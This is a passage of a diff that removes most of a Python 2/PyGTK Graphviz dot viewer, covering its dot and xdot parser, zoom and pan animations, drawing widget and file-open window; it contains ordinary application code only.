y, j, w, t)) - - def handle_ellipse(self, x0, y0, w, h, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h, filled=True)) - self.shapes.append(EllipseShape(self.pen, x0, y0, w, h)) - - def handle_image(self, x0, y0, w, h, path): - self.shapes.append(ImageShape(self.pen, x0, y0, w, h, path)) - - def handle_line(self, points): - self.shapes.append(LineShape(self.pen, points)) - - def handle_bezier(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(BezierShape(self.pen, points, filled=True)) - self.shapes.append(BezierShape(self.pen, points)) - - def handle_polygon(self, points, filled=False): - if filled: - # xdot uses this to mean "draw a filled shape with an outline" - self.shapes.append(PolygonShape(self.pen, points, filled=True)) - self.shapes.append(PolygonShape(self.pen, points)) - - -EOF = -1 -SKIP = -2 - - -class ParseError(Exception): - - def __init__(self, msg=None, filename=None, line=None, col=None): - self.msg = msg - self.filename = filename - self.line = line - self.col = col - - def __str__(self): - return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None]) - - -class Scanner: - """Stateless scanner.""" - - # should be overriden by derived classes - tokens = [] - symbols = {} - literals = {} - ignorecase = False - - def __init__(self): - flags = re.DOTALL - if self.ignorecase: - flags |= re.IGNORECASE - self.tokens_re = re.compile( - '|'.join(['(' + regexp + ')' for type, regexp, test_lit in self.tokens]), - flags - ) - - def next(self, buf, pos): - if pos >= len(buf): - return EOF, '', pos - mo = self.tokens_re.match(buf, pos) - if mo: - text = mo.group() - type, regexp, test_lit = self.tokens[mo.lastindex - 1] - pos = mo.end() - if test_lit: - type = self.literals.get(text, type) - return type, text, pos - else: - c = buf[pos] - return self.symbols.get(c, None), c, pos + 1 - - -class Token: - - def __init__(self, type, text, line, col): - self.type = type - self.text = text - self.line = line - self.col = col - - -class Lexer: - - # should be overriden by derived classes - scanner = None - tabsize = 8 - - newline_re = re.compile(r'\r\n?|\n') - - def __init__(self, buf = None, pos = 0, filename = None, fp = None): - if fp is not None: - try: - fileno = fp.fileno() - length = os.path.getsize(fp.name) - import mmap - except: - # read whole file into memory - buf = fp.read() - pos = 0 - else: - # map the whole file into memory - if length: - # length must not be zero - buf = mmap.mmap(fileno, length, access = mmap.ACCESS_READ) - pos = os.lseek(fileno, 0, 1) - else: - buf = '' - pos = 0 - - if filename is None: - try: - filename = fp.name - except AttributeError: - filename = None - - self.buf = buf - self.pos = pos - self.line = 1 - self.col = 1 - self.filename = filename - - def next(self): - while True: - # save state - pos = self.pos - line = self.line - col = self.col - - type, text, endpos = self.scanner.next(self.buf, pos) - assert pos + len(text) == endpos - self.consume(text) - type, text = self.filter(type, text) - self.pos = endpos - - if type == SKIP: - continue - elif type is None: - msg = 'unexpected char ' - if text >= ' ' and text <= '~': - msg += "'%s'" % text - else: - msg += "0x%X" % ord(text) - raise ParseError(msg, self.filename, line, col) - else: - break - return Token(type = type, text = text, line = line, col = col) - - def consume(self, text): - # update line number - pos = 0 - for mo in self.newline_re.finditer(text, pos): - self.line += 1 - self.col = 1 - pos = mo.end() - - # update column number - while True: - tabpos = text.find('\t', pos) - if tabpos == -1: - break - self.col += tabpos - pos - self.col = ((self.col - 1)//self.tabsize + 1)*self.tabsize + 1 - pos = tabpos + 1 - self.col += len(text) - pos - - -class Parser: - - def __init__(self, lexer): - self.lexer = lexer - self.lookahead = next(self.lexer) - - def match(self, type): - if self.lookahead.type != type: - raise ParseError( - msg = 'unexpected token %r' % self.lookahead.text, - filename = self.lexer.filename, - line = self.lookahead.line, - col = self.lookahead.col) - - def skip(self, type): - while self.lookahead.type != type: - self.consume() - - def consume(self): - token = self.lookahead - self.lookahead = next(self.lexer) - return token - - -ID = 0 -STR_ID = 1 -HTML_ID = 2 -EDGE_OP = 3 - -LSQUARE = 4 -RSQUARE = 5 -LCURLY = 6 -RCURLY = 7 -COMMA = 8 -COLON = 9 -SEMI = 10 -EQUAL = 11 -PLUS = 12 - -STRICT = 13 -GRAPH = 14 -DIGRAPH = 15 -NODE = 16 -EDGE = 17 -SUBGRAPH = 18 - - -class DotScanner(Scanner): - - # token regular expression table - tokens = [ - # whitespace and comments - (SKIP, - r'[ \t\f\r\n\v]+|' - r'//[^\r\n]*|' - r'/\*.*?\*/|' - r'#[^\r\n]*', - False), - - # Alphanumeric IDs - (ID, r'[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*', True), - - # Numeric IDs - (ID, r'-?(?:\.[0-9]+|[0-9]+(?:\.[0-9]*)?)', False), - - # String IDs - (STR_ID, r'"[^"\\]*(?:\\.[^"\\]*)*"', False), - - # HTML IDs - (HTML_ID, r'<[^<>]*(?:<[^<>]*>[^<>]*)*>', False), - - # Edge operators - (EDGE_OP, r'-[>-]', False), - ] - - # symbol table - symbols = { - '[': LSQUARE, - ']': RSQUARE, - '{': LCURLY, - '}': RCURLY, - ',': COMMA, - ':': COLON, - ';': SEMI, - '=': EQUAL, - '+': PLUS, - } - - # literal table - literals = { - 'strict': STRICT, - 'graph': GRAPH, - 'digraph': DIGRAPH, - 'node': NODE, - 'edge': EDGE, - 'subgraph': SUBGRAPH, - } - - ignorecase = True - - -class DotLexer(Lexer): - - scanner = DotScanner() - - def filter(self, type, text): - # TODO: handle charset - if type == STR_ID: - text = text[1:-1] - - # line continuations - text = text.replace('\\\r\n', '') - text = text.replace('\\\r', '') - text = text.replace('\\\n', '') - - # quotes - text = text.replace('\\"', '"') - - # layout engines recognize other escape codes (many non-standard) - # but we don't translate them here - - type = ID - - elif type == HTML_ID: - text = text[1:-1] - type = ID - - return type, text - - -class DotParser(Parser): - - def __init__(self, lexer): - Parser.__init__(self, lexer) - self.graph_attrs = {} - self.node_attrs = {} - self.edge_attrs = {} - - def parse(self): - self.parse_graph() - self.match(EOF) - - def parse_graph(self): - if self.lookahead.type == STRICT: - self.consume() - self.skip(LCURLY) - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - - def parse_subgraph(self): - id = None - if self.lookahead.type == SUBGRAPH: - self.consume() - if self.lookahead.type == ID: - id = self.lookahead.text - self.consume() - if self.lookahead.type == LCURLY: - self.consume() - while self.lookahead.type != RCURLY: - self.parse_stmt() - self.consume() - return id - - def parse_stmt(self): - if self.lookahead.type == GRAPH: - self.consume() - attrs = self.parse_attrs() - self.graph_attrs.update(attrs) - self.handle_graph(attrs) - elif self.lookahead.type == NODE: - self.consume() - self.node_attrs.update(self.parse_attrs()) - elif self.lookahead.type == EDGE: - self.consume() - self.edge_attrs.update(self.parse_attrs()) - elif self.lookahead.type in (SUBGRAPH, LCURLY): - self.parse_subgraph() - else: - id = self.parse_node_id() - if self.lookahead.type == EDGE_OP: - self.consume() - node_ids = [id, self.parse_node_id()] - while self.lookahead.type == EDGE_OP: - node_ids.append(self.parse_node_id()) - attrs = self.parse_attrs() - for i in range(0, len(node_ids) - 1): - self.handle_edge(node_ids[i], node_ids[i + 1], attrs) - elif self.lookahead.type == EQUAL: - self.consume() - self.parse_id() - else: - attrs = self.parse_attrs() - self.handle_node(id, attrs) - if self.lookahead.type == SEMI: - self.consume() - - def parse_attrs(self): - attrs = {} - while self.lookahead.type == LSQUARE: - self.consume() - while self.lookahead.type != RSQUARE: - name, value = self.parse_attr() - attrs[name] = value - if self.lookahead.type == COMMA: - self.consume() - self.consume() - return attrs - - def parse_attr(self): - name = self.parse_id() - if self.lookahead.type == EQUAL: - self.consume() - value = self.parse_id() - else: - value = 'true' - return name, value - - def parse_node_id(self): - node_id = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - port = self.parse_id() - if self.lookahead.type == COLON: - self.consume() - compass_pt = self.parse_id() - else: - compass_pt = None - else: - port = None - compass_pt = None - # XXX: we don't really care about port and compass point values when parsing xdot - return node_id - - def parse_id(self): - self.match(ID) - id = self.lookahead.text - self.consume() - return id - - def handle_graph(self, attrs): - pass - - def handle_node(self, id, attrs): - pass - - def handle_edge(self, src_id, dst_id, attrs): - pass - - -class XDotParser(DotParser): - - XDOTVERSION = '1.6' - - def __init__(self, xdotcode): - lexer = DotLexer(buf = xdotcode) - DotParser.__init__(self, lexer) - - self.nodes = [] - self.edges = [] - self.shapes = [] - self.node_by_name = {} - self.top_graph = True - - def handle_graph(self, attrs): - if self.top_graph: - # Check xdot version - try: - xdotversion = attrs['xdotversion'] - except KeyError: - pass - else: - if float(xdotversion) > float(self.XDOTVERSION): - sys.stderr.write('warning: xdot version %s, but supported is %s\n' % (xdotversion, self.XDOTVERSION)) - - # Parse bounding box - try: - bb = attrs['bb'] - except KeyError: - return - - if bb: - xmin, ymin, xmax, ymax = map(float, bb.split(",")) - - self.xoffset = -xmin - self.yoffset = -ymax - self.xscale = 1.0 - self.yscale = -1.0 - # FIXME: scale from points to pixels - - self.width = max(xmax - xmin, 1) - self.height = max(ymax - ymin, 1) - - self.top_graph = False - - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - self.shapes.extend(parser.parse()) - - def handle_node(self, id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - x, y = self.parse_node_pos(pos) - w = float(attrs.get('width', 0))*72 - h = float(attrs.get('height', 0))*72 - shapes = [] - for attr in ("_draw_", "_ldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - url = attrs.get('URL', None) - node = Node(id, x, y, w, h, shapes, url) - self.node_by_name[id] = node - if shapes: - self.nodes.append(node) - - def handle_edge(self, src_id, dst_id, attrs): - try: - pos = attrs['pos'] - except KeyError: - return - - points = self.parse_edge_pos(pos) - shapes = [] - for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"): - if attr in attrs: - parser = XDotAttrParser(self, attrs[attr]) - shapes.extend(parser.parse()) - if shapes: - src = self.node_by_name[src_id] - dst = self.node_by_name[dst_id] - self.edges.append(Edge(src, dst, points, shapes)) - - def parse(self): - DotParser.parse(self) - - return Graph(self.width, self.height, self.shapes, self.nodes, self.edges) - - def parse_node_pos(self, pos): - x, y = pos.split(",") - return self.transform(float(x), float(y)) - - def parse_edge_pos(self, pos): - points = [] - for entry in pos.split(' '): - fields = entry.split(',') - try: - x, y = fields - except ValueError: - # TODO: handle start/end points - continue - else: - points.append(self.transform(float(x), float(y))) - return points - - def transform(self, x, y): - # XXX: this is not the right place for this code - x = (x + self.xoffset)*self.xscale - y = (y + self.yoffset)*self.yscale - return x, y - - -class Animation(object): - - step = 0.03 # seconds - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - self.timeout_id = None - - def start(self): - self.timeout_id = gobject.timeout_add(int(self.step * 1000), self.tick) - - def stop(self): - self.dot_widget.animation = NoAnimation(self.dot_widget) - if self.timeout_id is not None: - gobject.source_remove(self.timeout_id) - self.timeout_id = None - - def tick(self): - self.stop() - - -class NoAnimation(Animation): - - def start(self): - pass - - def stop(self): - pass - - -class LinearAnimation(Animation): - - duration = 0.6 - - def start(self): - self.started = time.time() - Animation.start(self) - - def tick(self): - t = (time.time() - self.started) / self.duration - self.animate(max(0, min(t, 1))) - return (t < 1) - - def animate(self, t): - pass - - -class MoveToAnimation(LinearAnimation): - - def __init__(self, dot_widget, target_x, target_y): - Animation.__init__(self, dot_widget) - self.source_x = dot_widget.x - self.source_y = dot_widget.y - self.target_x = target_x - self.target_y = target_y - - def animate(self, t): - sx, sy = self.source_x, self.source_y - tx, ty = self.target_x, self.target_y - self.dot_widget.x = tx * t + sx * (1-t) - self.dot_widget.y = ty * t + sy * (1-t) - self.dot_widget.queue_draw() - - -class ZoomToAnimation(MoveToAnimation): - - def __init__(self, dot_widget, target_x, target_y): - MoveToAnimation.__init__(self, dot_widget, target_x, target_y) - self.source_zoom = dot_widget.zoom_ratio - self.target_zoom = self.source_zoom - self.extra_zoom = 0 - - middle_zoom = 0.5 * (self.source_zoom + self.target_zoom) - - distance = math.hypot(self.source_x - self.target_x, - self.source_y - self.target_y) - rect = self.dot_widget.get_allocation() - visible = min(rect.width, rect.height) / self.dot_widget.zoom_ratio - visible *= 0.9 - if distance > 0: - desired_middle_zoom = visible / distance - self.extra_zoom = min(0, 4 * (desired_middle_zoom - middle_zoom)) - - def animate(self, t): - a, b, c = self.source_zoom, self.extra_zoom, self.target_zoom - self.dot_widget.zoom_ratio = c*t + b*t*(1-t) + a*(1-t) - self.dot_widget.zoom_to_fit_on_resize = False - MoveToAnimation.animate(self, t) - - -class DragAction(object): - - def __init__(self, dot_widget): - self.dot_widget = dot_widget - - def on_button_press(self, event): - self.startmousex = self.prevmousex = event.x - self.startmousey = self.prevmousey = event.y - self.start() - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - deltax = self.prevmousex - x - deltay = self.prevmousey - y - self.drag(deltax, deltay) - self.prevmousex = x - self.prevmousey = y - - def on_button_release(self, event): - self.stopmousex = event.x - self.stopmousey = event.y - self.stop() - - def draw(self, cr): - pass - - def start(self): - pass - - def drag(self, deltax, deltay): - pass - - def stop(self): - pass - - def abort(self): - pass - - -class NullAction(DragAction): - - def on_motion_notify(self, event): - if event.is_hint: - x, y, state = event.window.get_pointer() - else: - x, y, state = event.x, event.y, event.state - dot_widget = self.dot_widget - item = dot_widget.get_url(x, y) - if item is None: - item = dot_widget.get_jump(x, y) - if item is not None: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.HAND2)) - dot_widget.set_highlight(item.highlight) - else: - dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - dot_widget.set_highlight(None) - - -class PanAction(DragAction): - - def start(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.FLEUR)) - - def drag(self, deltax, deltay): - self.dot_widget.x += deltax / self.dot_widget.zoom_ratio - self.dot_widget.y += deltay / self.dot_widget.zoom_ratio - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.window.set_cursor(gtk.gdk.Cursor(gtk.gdk.ARROW)) - - abort = stop - - -class ZoomAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.zoom_ratio *= 1.005 ** (deltax + deltay) - self.dot_widget.zoom_to_fit_on_resize = False - self.dot_widget.queue_draw() - - def stop(self): - self.dot_widget.queue_draw() - - -class ZoomAreaAction(DragAction): - - def drag(self, deltax, deltay): - self.dot_widget.queue_draw() - - def draw(self, cr): - cr.save() - cr.set_source_rgba(.5, .5, 1.0, 0.25) - cr.rectangle(self.startmousex, self.startmousey, - self.prevmousex - self.startmousex, - self.prevmousey - self.startmousey) - cr.fill() - cr.set_source_rgba(.5, .5, 1.0, 1.0) - cr.set_line_width(1) - cr.rectangle(self.startmousex - .5, self.startmousey - .5, - self.prevmousex - self.startmousex + 1, - self.prevmousey - self.startmousey + 1) - cr.stroke() - cr.restore() - - def stop(self): - x1, y1 = self.dot_widget.window2graph(self.startmousex, - self.startmousey) - x2, y2 = self.dot_widget.window2graph(self.stopmousex, - self.stopmousey) - self.dot_widget.zoom_to_area(x1, y1, x2, y2) - - def abort(self): - self.dot_widget.queue_draw() - - -class DotWidget(gtk.DrawingArea): - """PyGTK widget that draws dot graphs.""" - - __gsignals__ = { - 'expose-event': 'override', - 'clicked' : (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, (gobject.TYPE_STRING, gtk.gdk.Event)) - } - - filter = 'dot' - - def __init__(self): - gtk.DrawingArea.__init__(self) - - self.graph = Graph() - self.openfilename = None - - self.set_flags(gtk.CAN_FOCUS) - - self.add_events(gtk.gdk.BUTTON_PRESS_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("button-press-event", self.on_area_button_press) - self.connect("button-release-event", self.on_area_button_release) - self.add_events(gtk.gdk.POINTER_MOTION_MASK | gtk.gdk.POINTER_MOTION_HINT_MASK | gtk.gdk.BUTTON_RELEASE_MASK) - self.connect("motion-notify-event", self.on_area_motion_notify) - self.connect("scroll-event", self.on_area_scroll_event) - self.connect("size-allocate", self.on_area_size_allocate) - - self.connect('key-press-event', self.on_key_press_event) - self.last_mtime = None - - gobject.timeout_add(1000, self.update) - - self.x, self.y = 0.0, 0.0 - self.zoom_ratio = 1.0 - self.zoom_to_fit_on_resize = False - self.animation = NoAnimation(self) - self.drag_action = NullAction(self) - self.presstime = None - self.highlight = None - - def set_filter(self, filter): - self.filter = filter - - def run_filter(self, dotcode): - if not self.filter: - return dotcode - p = subprocess.Popen( - [self.filter, '-Txdot'], - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - shell=False, - universal_newlines=True - ) - xdotcode, error = p.communicate(dotcode) - sys.stderr.write(error) - if p.returncode != 0: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=error, - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return None - return xdotcode - - def set_dotcode(self, dotcode, filename=None): - self.openfilename = None - if isinstance(dotcode, unicode): - dotcode = dotcode.encode('utf8') - xdotcode = self.run_filter(dotcode) - if xdotcode is None: - return False - try: - self.set_xdotcode(xdotcode) - except ParseError as ex: - dialog = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dialog.set_title('Dot Viewer') - dialog.run() - dialog.destroy() - return False - else: - if filename is None: - self.last_mtime = None - else: - self.last_mtime = os.stat(filename).st_mtime - self.openfilename = filename - return True - - def set_xdotcode(self, xdotcode): - parser = XDotParser(xdotcode) - self.graph = parser.parse() - self.zoom_image(self.zoom_ratio, center=True) - - def reload(self): - if self.openfilename is not None: - try: - fp = file(self.openfilename, 'rt') - self.set_dotcode(fp.read(), self.openfilename) - fp.close() - except IOError: - pass - - def update(self): - if self.openfilename is not None: - current_mtime = os.stat(self.openfilename).st_mtime - if current_mtime != self.last_mtime: - self.last_mtime = current_mtime - self.reload() - return True - - def do_expose_event(self, event): - cr = self.window.cairo_create() - - # set a clip region for the expose event - cr.rectangle( - event.area.x, event.area.y, - event.area.width, event.area.height - ) - cr.clip() - - cr.set_source_rgba(1.0, 1.0, 1.0, 1.0) - cr.paint() - - cr.save() - rect = self.get_allocation() - cr.translate(0.5*rect.width, 0.5*rect.height) - cr.scale(self.zoom_ratio, self.zoom_ratio) - cr.translate(-self.x, -self.y) - - self.graph.draw(cr, highlight_items=self.highlight) - cr.restore() - - self.drag_action.draw(cr) - - return False - - def get_current_pos(self): - return self.x, self.y - - def set_current_pos(self, x, y): - self.x = x - self.y = y - self.queue_draw() - - def set_highlight(self, items): - if self.highlight != items: - self.highlight = items - self.queue_draw() - - def zoom_image(self, zoom_ratio, center=False, pos=None): - # Constrain zoom ratio to a sane range to prevent numeric instability. - zoom_ratio = min(zoom_ratio, 1E4) - zoom_ratio = max(zoom_ratio, 1E-6) - - if center: - self.x = self.graph.width/2 - self.y = self.graph.height/2 - elif pos is not None: - rect = self.get_allocation() - x, y = pos - x -= 0.5*rect.width - y -= 0.5*rect.height - self.x += x / self.zoom_ratio - x / zoom_ratio - self.y += y / self.zoom_ratio - y / zoom_ratio - self.zoom_ratio = zoom_ratio - self.zoom_to_fit_on_resize = False - self.queue_draw() - - def zoom_to_area(self, x1, y1, x2, y2): - rect = self.get_allocation() - width = abs(x1 - x2) - height = abs(y1 - y2) - if width == 0 and height == 0: - self.zoom_ratio *= self.ZOOM_INCREMENT - else: - self.zoom_ratio = min( - float(rect.width)/float(width), - float(rect.height)/float(height) - ) - self.zoom_to_fit_on_resize = False - self.x = (x1 + x2) / 2 - self.y = (y1 + y2) / 2 - self.queue_draw() - - def zoom_to_fit(self): - rect = self.get_allocation() - rect.x += self.ZOOM_TO_FIT_MARGIN - rect.y += self.ZOOM_TO_FIT_MARGIN - rect.width -= 2 * self.ZOOM_TO_FIT_MARGIN - rect.height -= 2 * self.ZOOM_TO_FIT_MARGIN - zoom_ratio = min( - float(rect.width)/float(self.graph.width), - float(rect.height)/float(self.graph.height) - ) - self.zoom_image(zoom_ratio, center=True) - self.zoom_to_fit_on_resize = True - - ZOOM_INCREMENT = 1.25 - ZOOM_TO_FIT_MARGIN = 12 - - def on_zoom_in(self, action): - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - - def on_zoom_out(self, action): - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - - def on_zoom_fit(self, action): - self.zoom_to_fit() - - def on_zoom_100(self, action): - self.zoom_image(1.0) - - POS_INCREMENT = 100 - - def on_key_press_event(self, widget, event): - if event.keyval == gtk.keysyms.Left: - self.x -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Right: - self.x += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Up: - self.y -= self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Down: - self.y += self.POS_INCREMENT/self.zoom_ratio - self.queue_draw() - return True - if event.keyval in (gtk.keysyms.Page_Up, - gtk.keysyms.plus, - gtk.keysyms.equal, - gtk.keysyms.KP_Add): - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval in (gtk.keysyms.Page_Down, - gtk.keysyms.minus, - gtk.keysyms.KP_Subtract): - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT) - self.queue_draw() - return True - if event.keyval == gtk.keysyms.Escape: - self.drag_action.abort() - self.drag_action = NullAction(self) - return True - if event.keyval == gtk.keysyms.r: - self.reload() - return True - if event.keyval == gtk.keysyms.f: - win = widget.get_toplevel() - find_toolitem = win.uimanager.get_widget('/ToolBar/Find') - textentry = find_toolitem.get_children() - win.set_focus(textentry[0]) - return True - if event.keyval == gtk.keysyms.q: - gtk.main_quit() - return True - if event.keyval == gtk.keysyms.p: - self.on_print() - return True - return False - - print_settings = None - def on_print(self, action=None): - print_op = gtk.PrintOperation() - - if self.print_settings != None: - print_op.set_print_settings(self.print_settings) - - print_op.connect("begin_print", self.begin_print) - print_op.connect("draw_page", self.draw_page) - - res = print_op.run(gtk.PRINT_OPERATION_ACTION_PRINT_DIALOG, self.parent.parent) - - if res == gtk.PRINT_OPERATION_RESULT_APPLY: - print_settings = print_op.get_print_settings() - - def begin_print(self, operation, context): - operation.set_n_pages(1) - return True - - def draw_page(self, operation, context, page_nr): - cr = context.get_cairo_context() - - rect = self.get_allocation() - cr.translate(0.5*rect.width, 0.5*rect.height) - cr.scale(self.zoom_ratio, self.zoom_ratio) - cr.translate(-self.x, -self.y) - - self.graph.draw(cr, highlight_items=self.highlight) - - def get_drag_action(self, event): - state = event.state - if event.button in (1, 2): # left or middle button - if state & gtk.gdk.CONTROL_MASK: - return ZoomAction - elif state & gtk.gdk.SHIFT_MASK: - return ZoomAreaAction - else: - return PanAction - return NullAction - - def on_area_button_press(self, area, event): - self.animation.stop() - self.drag_action.abort() - action_type = self.get_drag_action(event) - self.drag_action = action_type(self) - self.drag_action.on_button_press(event) - self.presstime = time.time() - self.pressx = event.x - self.pressy = event.y - return False - - def is_click(self, event, click_fuzz=4, click_timeout=1.0): - assert event.type == gtk.gdk.BUTTON_RELEASE - if self.presstime is None: - # got a button release without seeing the press? - return False - # XXX instead of doing this complicated logic, shouldn't we listen - # for gtk's clicked event instead? - deltax = self.pressx - event.x - deltay = self.pressy - event.y - return (time.time() < self.presstime + click_timeout - and math.hypot(deltax, deltay) < click_fuzz) - - def on_click(self, element, event): - """Override this method in subclass to process - click events. Note that element can be None - (click on empty space).""" - return False - - def on_area_button_release(self, area, event): - self.drag_action.on_button_release(event) - self.drag_action = NullAction(self) - x, y = int(event.x), int(event.y) - if self.is_click(event): - el = self.get_element(x, y) - if self.on_click(el, event): - return True - - if event.button == 1: - url = self.get_url(x, y) - if url is not None: - self.emit('clicked', unicode(url.url), event) - else: - jump = self.get_jump(x, y) - if jump is not None: - self.animate_to(jump.x, jump.y) - - return True - - if event.button == 1 or event.button == 2: - return True - return False - - def on_area_scroll_event(self, area, event): - if event.direction == gtk.gdk.SCROLL_UP: - self.zoom_image(self.zoom_ratio * self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - if event.direction == gtk.gdk.SCROLL_DOWN: - self.zoom_image(self.zoom_ratio / self.ZOOM_INCREMENT, - pos=(event.x, event.y)) - return True - return False - - def on_area_motion_notify(self, area, event): - self.drag_action.on_motion_notify(event) - return True - - def on_area_size_allocate(self, area, allocation): - if self.zoom_to_fit_on_resize: - self.zoom_to_fit() - - def animate_to(self, x, y): - self.animation = ZoomToAnimation(self, x, y) - self.animation.start() - - def window2graph(self, x, y): - rect = self.get_allocation() - x -= 0.5*rect.width - y -= 0.5*rect.height - x /= self.zoom_ratio - y /= self.zoom_ratio - x += self.x - y += self.y - return x, y - - def get_element(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_element(x, y) - - def get_url(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_url(x, y) - - def get_jump(self, x, y): - x, y = self.window2graph(x, y) - return self.graph.get_jump(x, y) - - -class FindMenuToolAction(gtk.Action): - __gtype_name__ = "FindMenuToolAction" - - def __init__(self, *args, **kw): - gtk.Action.__init__(self, *args, **kw) - self.set_tool_item_type(gtk.ToolItem) - - -class DotWindow(gtk.Window): - - ui = ''' - - - - - - - - - - - - - - - ''' - - base_title = 'Dot Viewer' - - def __init__(self, widget=None): - gtk.Window.__init__(self) - - self.graph = Graph() - - window = self - - window.set_title(self.base_title) - window.set_default_size(512, 512) - vbox = gtk.VBox() - window.add(vbox) - - self.widget = widget or DotWidget() - - # Create a UIManager instance - uimanager = self.uimanager = gtk.UIManager() - - # Add the accelerator group to the toplevel window - accelgroup = uimanager.get_accel_group() - window.add_accel_group(accelgroup) - - # Create an ActionGroup - actiongroup = gtk.ActionGroup('Actions') - self.actiongroup = actiongroup - - # Create actions - actiongroup.add_actions(( - ('Open', gtk.STOCK_OPEN, None, None, None, self.on_open), - ('Reload', gtk.STOCK_REFRESH, None, None, None, self.on_reload), - ('Print', gtk.STOCK_PRINT, None, None, "Prints the currently visible part of the graph", self.widget.on_print), - ('ZoomIn', gtk.STOCK_ZOOM_IN, None, None, None, self.widget.on_zoom_in), - ('ZoomOut', gtk.STOCK_ZOOM_OUT, None, None, None, self.widget.on_zoom_out), - ('ZoomFit', gtk.STOCK_ZOOM_FIT, None, None, None, self.widget.on_zoom_fit), - ('Zoom100', gtk.STOCK_ZOOM_100, None, None, None, self.widget.on_zoom_100), - )) - - find_action = FindMenuToolAction("Find", None, - "Find a node by name", None) - actiongroup.add_action(find_action) - - # Add the actiongroup to the uimanager - uimanager.insert_action_group(actiongroup, 0) - - # Add a UI descrption - uimanager.add_ui_from_string(self.ui) - - # Create a Toolbar - toolbar = uimanager.get_widget('/ToolBar') - vbox.pack_start(toolbar, False) - - vbox.pack_start(self.widget) - - self.last_open_dir = "." - - self.set_focus(self.widget) - - # Add Find text search - find_toolitem = uimanager.get_widget('/ToolBar/Find') - self.textentry = gtk.Entry(max=20) - self.textentry.set_icon_from_stock(0, gtk.STOCK_FIND) - find_toolitem.add(self.textentry) - - self.textentry.set_activates_default(True) - self.textentry.connect ("activate", self.textentry_activate, self.textentry); - self.textentry.connect ("changed", self.textentry_changed, self.textentry); - - self.show_all() - - def find_text(self, entry_text): - found_items = [] - dot_widget = self.widget - regexp = re.compile(entry_text) - for node in dot_widget.graph.nodes: - if node.search_text(regexp): - found_items.append(node) - return found_items - - def textentry_changed(self, widget, entry): - entry_text = entry.get_text() - dot_widget = self.widget - if not entry_text: - dot_widget.set_highlight(None) - return - - found_items = self.find_text(entry_text) - dot_widget.set_highlight(found_items) - - def textentry_activate(self, widget, entry): - entry_text = entry.get_text() - dot_widget = self.widget - if not entry_text: - dot_widget.set_highlight(None) - return; - - found_items = self.find_text(entry_text) - dot_widget.set_highlight(found_items) - if(len(found_items) == 1): - dot_widget.animate_to(found_items[0].x, found_items[0].y) - - def set_filter(self, filter): - self.widget.set_filter(filter) - - def set_dotcode(self, dotcode, filename=None): - if self.widget.set_dotcode(dotcode, filename): - self.update_title(filename) - self.widget.zoom_to_fit() - - def set_xdotcode(self, xdotcode, filename=None): - if self.widget.set_xdotcode(xdotcode): - self.update_title(filename) - self.widget.zoom_to_fit() - - def update_title(self, filename=None): - if filename is None: - self.set_title(self.base_title) - else: - self.set_title(os.path.basename(filename) + ' - ' + self.base_title) - - def open_file(self, filename): - try: - fp = file(filename, 'rt') - self.set_dotcode(fp.read(), filename) - fp.close() - except IOError as ex: - dlg = gtk.MessageDialog(type=gtk.MESSAGE_ERROR, - message_format=str(ex), - buttons=gtk.BUTTONS_OK) - dlg.set_title(self.base_title) - dlg.run() - dlg.destroy() - - def on_open(self, action): - chooser = gtk.FileChooserDialog(title="Open dot File", - action=gtk.FILE_CHOOSER_ACTION_OPEN, - buttons=(gtk.STOCK_CANCEL, - gtk.RESPONSE_CANCEL, - gtk.STOCK_OPEN, - gtk.RESPONSE_OK)) - chooser.set_default_response(gtk.RESPONSE_OK) - chooser.set_current_folder(self.last_open_dir) - filter = gtk.FileFilter() - filter.set_name("Graphviz dot files") - filter.add_pattern("*.dot") - chooser.add_filter(filter) - filter = gtk.FileFilter() - filter.set_name("All files") - filter.add_pattern("*") - chooser.add_filter(filter) - if chooser.run() == gtk.RESPONSE_OK: - filename = chooser.get_filename() - self.last_open_dir = chooser.get_current_folder() - chooser.destroy() - self.open_file(filename) - else: - chooser.destroy() - - def on_reload(self, action): - self.widget.reload() - - -class OptionParser(optparse.OptionParser): - - def format_epilog(self, formatter): - # 